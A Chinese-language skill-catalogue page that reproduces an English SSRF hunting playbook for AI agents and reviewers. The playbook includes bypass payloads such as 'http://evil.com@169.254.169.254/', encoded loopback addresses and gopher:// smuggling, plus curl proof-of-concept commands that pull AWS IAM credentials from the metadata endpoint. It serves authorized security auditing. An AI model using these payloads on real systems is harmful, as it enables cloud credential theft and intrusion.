跳到正文
Skillpedia
安全6.5k · #13972

ssrf

它能做什么

这项技能是一份排查服务端请求伪造的操作指南,即应用被诱导,向攻击者选择的地址发出请求。适合检查自己代码的开发人员和审查人员。

适用场景

  • ✓当开发人员要求智能体检查服务器是否在没有任何限制的情况下抓取用户提供的网址时。
  • ✓当智能体审查会调用云元数据地址或内部管理面板的代码时。
  • ✓当团队需要一份各语言中接受用户提供地址的 HTTP 客户端调用清单时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查我们已获授权的应用,看看用户能否让服务器去访问某个内部地址?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体找到 HTTP 客户端调用,把用户输入追踪到这些调用,并检查应用是否阻止内部地址和云元数据端点。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

SSRF Hunting Playbook

SSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.

1. Sources (user-controlled input that becomes a URL)

Look for any parameter that gets fed into an HTTP client:

  • Python: requests.get(user_url), httpx.get, urllib.request.urlopen, aiohttp.get
  • Node: fetch(userUrl), axios.get, http.request, got, node-fetch
  • Java: HttpURLConnection, HttpClient.send, URL.openConnection, OkHttpClient
  • Go: http.Get(u), http.NewRequest, net.Dial("tcp", u)
  • Ruby: Net::HTTP.get, URI.open, Faraday.get
  • PHP: file_get_contents($url), curl_exec, fsockopen

Grep patterns to run via bash:

semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src

2. Sinks that make SSRF worth reporting

Sink Impact
http://169.254.169.254/ (AWS IMDS) IAM role creds → full AWS takeover
http://metadata.google.internal/ GCP service-account token
http://169.254.169.254/metadata/v1/ Azure IMDS
http://127.0.0.1:6379/ (Redis) Unauthenticated RCE via Lua eval / cron
http://127.0.0.1:9200/ Elasticsearch data leak + RCE
http://127.0.0.1:2375/ Docker daemon — container escape
gopher://, dict://, file:// Protocol smuggling (SMTP, memcached)
Internal *.svc.cluster.local Kubernetes service mesh lateral

3. Bypass classes (why scanners miss real bugs)

  1. DNS rebinding — resolve to public first, then 127.0.0.1 on second lookup. Look for caches that don't pin IP across the fetch.
  2. IPv6 literal — [::1], [::ffff:127.0.0.1], [::]
  3. Decimal / octal / hex encoding — 0x7f.0.0.1, 0177.0.0.1, 2130706433
  4. URL parser confusion — http://evil.com@169.254.169.254/, http://169.254.169.254#.evil.com/
  5. IDN unicode tricks — homoglyph domains that normalize to metadata hosts
  6. Redirect chains — allowlist checks the initial URL, not the 302 target
  7. IMDSv2 required — but if the HTTP client sets a Metadata-Token header on redirect, v2 still leaks
  8. 30x → file:// — server follows redirects across protocols

4. Taint audit workflow

  1. Enumerate sources with grep + semgrep (above).
  2. For each hit, follow the data flow manually:
    • Is there a urlparse check? Does it check .hostname (spoofable) or the raw URL (safe)?
    • Is there an IP allowlist check before or after DNS resolution? (Only before-resolution checks are TOCTOU-safe.)
    • Is redirect following disabled? allow_redirects=False in requests.
  3. Each confirmed source-to-sink path → kg_add_node(kind="vulnerability", ...).
  4. Link the vuln to its file+line via a code_location node.

5. PoC template

# AWS IMDSv1 leak — copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# → expect {AccessKeyId, SecretAccessKey, Token}

Success patterns for validate_finding:

  • AccessKeyId
  • SecretAccessKey
  • Token.*[A-Za-z0-9+/]{100,}

Negative control:

  • Same request with the URL param blanked or set to https://example.com/
  • Negative patterns: Missing url, 400, example.com

6. Default CVSS for confirmed SSRF

Variant CVSS vector Score
Blind SSRF, external only AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 5.3
SSRF → internal services (no pivot) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 7.5
SSRF → cloud metadata → IAM credential AV:N/AC:L/PR:N/UI:N/S:C/C:H
常见问题

什么是服务端请求伪造?

就是服务器代替用户向其不应访问的地址发出请求。

为什么说它的影响很大?

该技能指出,它可以触及云元数据或内部管理工具,从而可能暴露凭据。

该技能提到了哪些绕过方式?

它提到了 DNS 重绑定等可以突破简单地址过滤的手法。

详情

作者的原始描述

Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13972
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能